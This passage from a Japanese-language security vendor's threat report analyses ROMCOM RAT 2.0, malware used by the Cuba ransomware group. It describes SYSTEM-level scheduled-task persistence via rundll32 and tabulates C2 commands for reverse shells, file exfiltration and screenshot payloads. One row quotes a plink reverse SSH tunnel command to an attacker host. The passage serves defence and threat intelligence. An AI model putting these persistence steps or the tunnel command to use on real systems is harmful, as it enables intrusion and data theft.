alt=\"SYSTEM\u6a29\u9650\u3067\u306e\u30bf\u30b9\u30af\u4f5c\u6210\u3002ITaskService-&gt;NewTask\u3067\u7a7a\u306e\u30bf\u30b9\u30af\u304c\u4f5c\u6210\u3055\u308c\u3001\u305d\u306e\u5f8c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30ea\u30f3\u30b7\u30d1\u30eb\u304c\u4fee\u6b63\u3055\u308c\u307e\u3059\u3002IPrincipal-&gt;put_Id\u3067\u8b58\u5225\u5b50\u304cNT AUTHORITY\\\\SYSTEM\u306b\u3001IPrincipal-&gt;LogonType\u3067\u30ed\u30b0\u30aa\u30f3\u306e\u7a2e\u985e\u304cTASK_LOGON_INTERACTIVE_TOKEN\u306b\u3001IPrincipal-&gt;put_RunLevel\u3067RunLevel\u30d7\u30ed\u30d1\u30c6\u30a3\u304cTASK_RUNLEVEL_HIGHEST\u306b\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\" width=\"900\" height=\"591\" \/><figcaption id=\"caption-attachment-124373\" class=\"wp-caption-text\">\u56f327. SYSTEM\u6a29\u9650\u3067\u306e\u30bf\u30b9\u30af\u4f5c\u6210\u3002<\/figcaption><\/figure>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">IRegistrationTrigger-&gt;PutDelay<\/span>\u3067\u6587\u5b57\u5217\u300c<span style=\"font-family: 'courier new', courier, monospace;\">PT0S<\/span>(\u300cP\u300d\u306f\u63a5\u982d\u8f9e\u3001\u300cT\u300d\u306f\u65e5\u6642\u306e\u30bb\u30d1\u30ec\u30fc\u30bf\u6587\u5b57\u3001\u300cS\u300d\u306f\u300c\u79d2\u300d\u3092\u8868\u3059)\u300d\u3092\u6307\u5b9a\u3057\u3001\u30bf\u30b9\u30af\u306b\u300c0\u79d2\u306e\u9045\u5ef6\u300d\u304c\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\u3064\u307e\u308a\u3001\u30bf\u30b9\u30af\u306f\u751f\u6210\u5f8c\u3059\u3050\u306b\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124375\" aria-describedby=\"caption-attachment-124375\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124376 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-29.png\" alt=\"IRegistrationTrigger-&gt;PutDelay\u3067\u6587\u5b57\u5217\u300cPT0S(\u300cP\u300d\u306f\u63a5\u982d\u8f9e\u3001\u300cT\u300d\u306f\u65e5\u6642\u306e\u30bb\u30d1\u30ec\u30fc\u30bf\u6587\u5b57\u3001\u300cS\u300d\u306f\u300c\u79d2\u300d\u3092\u8868\u3059)\u300d\u3092\u6307\u5b9a\u3057\u3001\u30bf\u30b9\u30af\u306b\u300c0\u79d2\u306e\u9045\u5ef6\u300d\u304c\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\u3064\u307e\u308a\u3001\u30bf\u30b9\u30af\u306f\u751f\u6210\u5f8c\u3059\u3050\u306b\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\" width=\"900\" height=\"401\" \/><figcaption id=\"caption-attachment-124375\" class=\"wp-caption-text\">\u56f328 \u30bf\u30b9\u30af\u30c8\u30ea\u30ac\u30fc\u306e\u4f5c\u6210\u3002\u9045\u5ef6\u304c0\u79d2\u306b\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u308b\u3002<\/figcaption><\/figure>\n<p>\u6700\u5f8c\u306b\u3001\u30bf\u30b9\u30af\u306b\u30a2\u30af\u30b7\u30e7\u30f3\u304c\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\u30a2\u30af\u30b7\u30e7\u30f3\u30d1\u30b9\u306f<span style=\"font-family: 'courier new', courier, monospace;\">rundll32.exe<\/span>\u306b\u3001\u5f15\u6570\u306f<span style=\"font-family: 'courier new', courier, monospace;\">C:\\\\Windows\\\\system32\\\\mskms.dll,ARGUMENT<\/span>\u306b\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\u306a\u304a\u3053\u306e<span style=\"font-family: 'courier new', courier, monospace;\">ARGUMENT<\/span>\u306f\u3001\u6e21\u3055\u308c\u305f\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u306b\u5fdc\u3058\u3001<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u307e\u305f\u306f<span style=\"font-family: 'courier new', courier, monospace;\">startInet<\/span>\u306e\u3044\u305a\u308c\u304b\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_124377\" aria-describedby=\"caption-attachment-124377\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124378 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-30.png\" alt=\"\u6700\u5f8c\u306b\u3001\u30bf\u30b9\u30af\u306b\u30a2\u30af\u30b7\u30e7\u30f3\u304c\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\u30a2\u30af\u30b7\u30e7\u30f3\u30d1\u30b9\u306frundll32.exe\u306b\u3001\u5f15\u6570\u306fC:\\\\Windows\\\\system32\\\\mskms.dll,ARGUMENT\u306b\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002\u306a\u304a\u3053\u306eARGUMENT\u306f\u3001\u6e21\u3055\u308c\u305f\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u306b\u5fdc\u3058\u3001startWorker\u307e\u305f\u306fstartInet\u306e\u3044\u305a\u308c\u304b\u3067\u3059\u3002\" width=\"900\" height=\"460\" \/><figcaption id=\"caption-attachment-124377\" class=\"wp-caption-text\">\u56f329. \u30bf\u30b9\u30af\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u4f5c\u6210\u3002rundll32.exe\u304cmskms.dll\u3092\u5b9f\u884c\u3002<\/figcaption><\/figure>\n<p>\u3053\u306e\u30bf\u30b9\u30af\u306f\u767b\u9332\u5f8c\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u3001ROMCOM2.0\u306emain\u95a2\u6570\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u5143\u306e\u30b5\u30f3\u30d7\u30eb\u3068\u540c\u3058\u69d8\u614b\u3067\u3001<span style=\"font-family: 'courier new', courier, monospace;\">startInet<\/span>\u30d7\u30ed\u30bb\u30b9\u306f\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305fC2\u30b5\u30fc\u30d0\u30fc\u306b\u63a5\u7d9a\u3057\u306b\u3044\u304d\u3001\u53d7\u3051\u53d6\u3063\u305f\u30ec\u30b9\u30dd\u30f3\u30b9\u306f\u3059\u3079\u3066<span style=\"font-family: 'courier new', courier, monospace;\">startWorker<\/span>\u30d7\u30ed\u30bb\u30b9\u306b\u6e21\u3057\u3066\u3057\u304b\u308b\u3079\u304f\u51e6\u7406\u3057\u3066\u3082\u3089\u3044\u307e\u3059\u3002\u306a\u304a\u958b\u767a\u8005\u3089\u306f\u3001\u30b5\u30dd\u30fc\u30c8\u3059\u308b\u30b3\u30de\u30f3\u30c9\u306e\u30ea\u30b9\u30c8\u3092\u5f93\u6765\u306e10\u30b3\u30de\u30f3\u30c9\u304b\u308920\u30b3\u30de\u30f3\u30c9\u306b\u62e1\u5f35\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u8ffd\u52a0\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u7fa4\u306b\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u64ae\u5f71(\u8907\u6570\u306e\u64ae\u5f71\u306b\u3082\u5bfe\u5fdc)\u306b\u7279\u5316\u3057\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3082\u306e\u3084\u3001\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u6e08\u307f\u306e\u5168\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u30ea\u30b9\u30c8\u3092\u62bd\u51fa\u5f8c\u3001C2\u306b\u9001\u308a\u8fd4\u3059\u3082\u306e\u306a\u3069\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f(\u56f330\u306e\u300cSCREENSHOOTER\u300d\u3068\u3044\u3046\u6587\u5b57\u5217\u304c\u53c2\u7167\u3057\u3066\u3044\u308b\u90e8\u5206)\u3002<\/p>\n<figure id=\"attachment_124379\" aria-describedby=\"caption-attachment-124379\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124380 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-31.png\" alt=\"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u958b\u767a\u8005\u3067\u3042\u308bTropical Scorpius\u306f\u30b5\u30dd\u30fc\u30c8\u30b3\u30de\u30f3\u30c9\u30ea\u30b9\u30c8\u3092\u5f93\u6765\u306e10\u30b3\u30de\u30f3\u30c9\u304b\u308920\u30b3\u30de\u30f3\u30c9\u306b\u62e1\u5f35\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u8ffd\u52a0\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u7fa4\u306b\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u64ae\u5f71(\u8907\u6570\u306e\u64ae\u5f71\u306b\u3082\u5bfe\u5fdc)\u306b\u7279\u5316\u3057\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3082\u306e\u3084\u3001\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u6e08\u307f\u306e\u5168\u30d7\u30ed\u30b0\u30e9\u30e0\u306e\u30ea\u30b9\u30c8\u3092\u62bd\u51fa\u5f8c\u3001C2\u306b\u9001\u308a\u8fd4\u3059\u3082\u306e\u306a\u3069\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f(\u56f330\u306e\u300cSCREENSHOOTER\u300d\u3068\u3044\u3046\u6587\u5b57\u5217\u304c\u53c2\u7167\u3057\u3066\u3044\u308b\u90e8\u5206)\u3002 \" width=\"900\" height=\"686\" \/><figcaption id=\"caption-attachment-124379\" class=\"wp-caption-text\">\u56f330. \u5148\u306b\u8aac\u660e\u3057\u305fSCREENSHOOTER\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u90e8\u5206\u3002<\/figcaption><\/figure>\n<table style=\"width: 82.5078%; height: 1288px;\">\n<tbody>\n<tr style=\"height: 80px;\">\n<td style=\"height: 80px; width: 7.67025%;\"><span style=\"font-weight: 400;\">\u30b3\u30de\u30f3\u30c9\u306e\u5024<\/span><\/td>\n<td style=\"height: 80px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u76ee\u7684<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">1<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u63a5\u7d9a\u3055\u308c\u3066\u3044\u308b\u30c9\u30e9\u30a4\u30d6\u306e\u60c5\u5831\u3092\u8fd4\u3059<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">2<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u6307\u5b9a\u3055\u308c\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30d5\u30a1\u30a4\u30eb\u4e00\u89a7\u3092\u8fd4\u3059<\/span><\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">3<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%<\/span><span style=\"font-weight: 400;\">\u30d5\u30a9\u30eb\u30c0\u5185\u3067<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">winconhost.exe<\/span><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u540d\u524d\u3067<span style=\"font-weight: 400;\">\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092<\/span>\u8d77\u52d5\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">4<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">IShellDispatch<\/span><span style=\"font-weight: 400;\">\u3092\u4f7f\u3063\u3066\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30d4\u30fc\u3057<\/span>\u3001<span style=\"font-weight: 400;\">C2\u306b\u30c7\u30fc\u30bf\u3092ZIP\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b <\/span><\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">5<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\">\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%<\/span><span style=\"font-weight: 400;\">\u30d5\u30a9\u30eb\u30c0\u5185\u306e<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">worker.txt<\/span><span style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080<\/span><\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">6<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u6307\u5b9a\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u524a\u9664\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">7<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u6307\u5b9a\u3057\u305f\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u524a\u9664\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">8<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">PID\u3092\u507d\u88c5(\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0)\u3057\u3066\u30d7\u30ed\u30bb\u30b9\u3092\u751f\u6210\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">9<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\">\u3053\u306e\u30b3\u30de\u30f3\u30c9\u306e\u5bfe\u8c61\u306f<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">startInet<\/span><span style=\"font-weight: 400;\">\u306e\u307f\u3002\u3053\u306e\u30b3\u30de\u30f3\u30c9\u3092C2\u304b\u3089\u53d7\u3051\u53d6\u308b\u3068\u30d7\u30ed\u30bb\u30b9\u306f\u30e9\u30f3\u30c0\u30e0\u306a\u6642\u9593\u30b9\u30ea\u30fc\u30d7\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">10<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u7279\u5b9a\u30d7\u30ed\u30bb\u30b9\u306ePID\u3092\u53d6\u5f97\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 81px;\">\n<td style=\"height: 81px; width: 7.67025%;\"><span style=\"font-weight: 400;\">12<\/span><\/td>\n<td style=\"height: 81px; width: 74.2652%;\"><span style=\"font-family: 'courier new', courier, monospace;\">rundll32.exe %TMP%\\\\PhotoDirector.dll,startWorker single<\/span>\u3092\u5b9f\u884c\u3057\u3066<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%\\\\PhotoDirector.zip<\/span>\u3092C2 \u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b(\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u5358\u767a\u3067\u64ae\u308b\u5834\u5408\u306b\u4f7f\u3046\u30b3\u30de\u30f3\u30c9\u3089\u3057\u3044)<\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">13<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">rundll32.exe %TMP%\\\\PhotoDirector.dll,startWorker<\/span>\u3092\u5b9f\u884c\u3059\u308b<\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">14<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%\\\\PhotoDirector.zip<\/span><span style=\"font-weight: 400;\">\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 56px;\">\n<td style=\"height: 56px; width: 7.67025%;\"><span style=\"font-weight: 400;\">15<\/span><\/td>\n<td style=\"height: 56px; width: 74.2652%;\"><span style=\"font-weight: 400;\">\u5b9f\u884c\u4e2d\u306e\u5168\u30d7\u30ed\u30bb\u30b9\u3068\u30d7\u30ed\u30bb\u30b9ID\u3092\u53d6\u5f97\u3059\u308b\u00a0<\/span><\/td>\n<\/tr>\n<tr style=\"height: 82px;\">\n<td style=\"height: 82px; width: 7.67025%;\"><span style=\"font-weight: 400;\">16<\/span><\/td>\n<td style=\"height: 82px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall<\/span>\u307e\u305f\u306f<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall<\/span>\u306e\u30af\u30a8\u30ea\u3092\u4f7f\u3063\u3066\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u6e08\u307f\u306e\u5168\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u30ea\u30b9\u30c8\u3092\u53d6\u5f97\u3059\u308b<\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">18<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\">\u53d7\u4fe1\u3057\u305f\u30d5\u30a1\u30a4\u30eb<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">SCREENSHOOTER<\/span>\u3092<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%\\\\PhotoDirector.dll<\/span>\u306b\u66f8\u304d\u8fbc\u3080<\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">19<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%\\\\BrowserData<\/span>\u30d5\u30a9\u30eb\u30c0\u3092\u4f5c\u6210\u3057\u3001\u53d7\u4fe1\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u5b9f\u884c\u3059\u308b\u524d\u306b<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%\\\\BrowserData\\\\explorer.exe<\/span>\u306b\u66f8\u304d\u8fbc\u3080<\/td>\n<\/tr>\n<tr style=\"height: 57px;\">\n<td style=\"height: 57px; width: 7.67025%;\"><span style=\"font-weight: 400;\">20<\/span><\/td>\n<td style=\"height: 57px; width: 74.2652%;\">\u53d7\u4fe1\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">%TMP%\\\\win_sshd.exe<\/span><span style=\"font-weight: 400;\">\u306b\u66f8\u304d\u8fbc\u3080\u3002\u300c\u8aac\u660e\u300d\u306f\u300cFreeSSHd\u300d\u306b\u306a\u3063\u3066\u3044\u308b<\/span><\/td>\n<\/tr>\n<tr style=\"height: 82px;\">\n<td style=\"height: 82px; width: 7.67025%;\"><span style=\"font-weight: 400;\">21<\/span><\/td>\n<td style=\"height: 82px; width: 74.2652%;\"><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">plink.exe -ssh -pw AeM8soequ@ooNg -R 9999:4444 poncho@CombinedResidency.org\\n<\/span>\u3068\u8aac\u660e\u3055\u308c\u3066\u3044\u308b\u304c<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">C:\\\\Program Files (x86)\\\\freeSSHd\\\\FreeSSHDService.exe<\/span>\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u3060\u3051\u306b\u898b\u3048\u308b<\/td>\n<\/tr>\n<tr style=\"height: 58px;\">\n<td style=\"height: 58px; width: 7.67025%;\"><span style=\"font-weight: 400;\">22<\/span><\/td>\n<td style=\"height: 58px; width: 74.2652%;\"><span style=\"font-weight: 400;\">svcnet.exe<\/span>\u3001<span style=\"font-weight: 400;\">FreeSSHDService.exe<\/span>\u3001<span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">plink.exe<\/span>\u3092\u7d42\u4e86\u3059\u308b<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400; font-size: 10pt; color: #999999;\">\u88684 ROMCOM2.0\u306e\u30b5\u30dd\u30fc\u30c8\u3059\u308b\u30b3\u30de\u30f3\u30c9\u7fa4<\/span><\/em><\/p>\n<h2>\u4fdd\u8b77\u3068\u7de9\u548c\u7b56<\/h2>\n<p>\u4ee5\u4e0b\u306eIoC(\u4fb5\u5bb3\u6307\u6a19)\u3092\u6d3b\u7528\u3057\u3001\u81ea\u793e\u3078\u306e\u5f71\u97ff\u3092\u3054\u78ba\u8a8d\u3044\u305f\u3060\u304f\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306fCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3068Tropical Scorpius\u306e\u6d3b\u52d5\u3092\u6b21\u306e\u65b9\u6cd5\u3067\u691c\u51fa\/\u9632\u6b62\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li><a href=\"https:\/\/www.paloaltonetworks.jp\/cortex\/cortex-xdr\">Cortex XDR<\/a>:\n<ul>\n<li>Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3068\u305d\u306e\u95a2\u9023\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u7528\u306e\u5168\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf(\u6307\u6a19)\u3092\u691c\u51fa\u3057\u307e\u3059\u3002<\/li>\n<li>\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u5bfe\u7b56\u30e2\u30b8\u30e5\u30fc\u30eb\u3067Windows\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u306eCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306b\u3088\u308b\u6697\u53f7\u5316\u306e\u632f\u308b\u821e\u3044\u3092\u691c\u51fa\u3057\u307e\u3059\u3002<\/li>\n<li>Windows\u74b0\u5883\u4e0a\u3067\u30ed\u30fc\u30ab\u30eb\u5206\u6790\u306b\u3088\u308aCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3068ROMCOM RAT\u306e\u30d0\u30a4\u30ca\u30ea\u3092\u691c\u51fa\u3057\u307e\u3059\u3002<\/li>\n<li>BTP(\u632f\u308b\u821e\u3044\u9632\u5fa1)\u30eb\u30fc\u30eb\u3067\u95a2\u9023\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u5b9f\u884c\u3092\u9632\u6b62\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li><a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/wildfire\">WildFire<\/a>: \u65e2\u77e5\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3059\u3079\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3068\u3057\u3066\u8b58\u5225\u3055\u308c\u307e\u3059\u3002<\/li>\n<li><a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/subscriptions\/threat-prevention\">\u8105\u5a01\u9632\u5fa1<\/a>\u306f\u3001Tropical Scorpius\u306e\u30a4\u30f3\u30d5\u30e9\u306b\u5bfe\u3059\u308b\u4fdd\u8b77\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/li>\n<li><a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/advanced-url-filtering\">Advanced URL Filtering<\/a>\u3068<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/dns-security\">DNS\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3<\/a>\u306f\u3001\u540c\u30b0\u30eb\u30fc\u30d7\u306b\u95a2\u9023\u3059\u308b\u30c9\u30e1\u30a4\u30f3\u3092\u60aa\u610f\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u8b58\u5225\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p>IoC(\u4fb5\u5bb3\u6307\u6a19)\u3068\u95a2\u9023TTP(\u6226\u7565\u30fb\u6280\u8853\u30fb\u624b\u9806)\u306fTropical Scorpius\u306e<a href=\"https:\/\/unit42.paloaltonetworks.com\/atoms\/tropicalscorpius\/\"><span style=\"font-weight: 400;\">ATOM<\/span><\/a>\u304b\u3089\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001<a href=\"https:\/\/start.paloaltonetworks.jp\/contact-unit42.html\">infojapan@paloaltonetworks.com<\/a> \u307e\u3067\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u3066\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001\u4e0b\u8a18\u306e\u96fb\u8a71\u756a\u53f7\u307e\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044(\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002<\/p>\n<ul>\n<li>\u5317\u7c73\u30d5\u30ea\u30fc\u30c0\u30a4\u30e4\u30eb: 866.486.4842 (866.4.UNIT42)<\/li>\n<li>\u6b27\u5dde: +31.20.299.3130<\/li>\n<li>\u30a2\u30b8\u30a2\u592a\u5e73\u6d0b: +65.6983.8730<\/li>\n<li>\u65e5\u672c: +81.50.1790.0200<\/li>\n<\/ul>\n<p>\u30b5\u30a4\u30d0\u30fc\u4fdd\u967a\u306b\u3054\u52a0\u5165\u306e\u5834\u5408\u306fUnit 42\u3092\u540d\u524d\u6307\u5b9a\u3067\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u5f0a\u793e <a href=\"https:\/\/www.paloaltonetworks.com\/unit42\/assess\">\u30b5\u30a4\u30d0\u30fc\u30ea\u30b9\u30af\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b5\u30fc\u30d3\u30b9<\/a>\u3092\u30ea\u30af\u30a8\u30b9\u30c8\u3044\u305f\u3060\u3051\u308c\u3070\u4e88\u9632\u7684\u63aa\u7f6e\u3092\u8b1b\u3058\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-124395-_2shk1ssb4tdm\"><\/a>\u7d50\u8ad6<\/h2>\n<p>Tropical 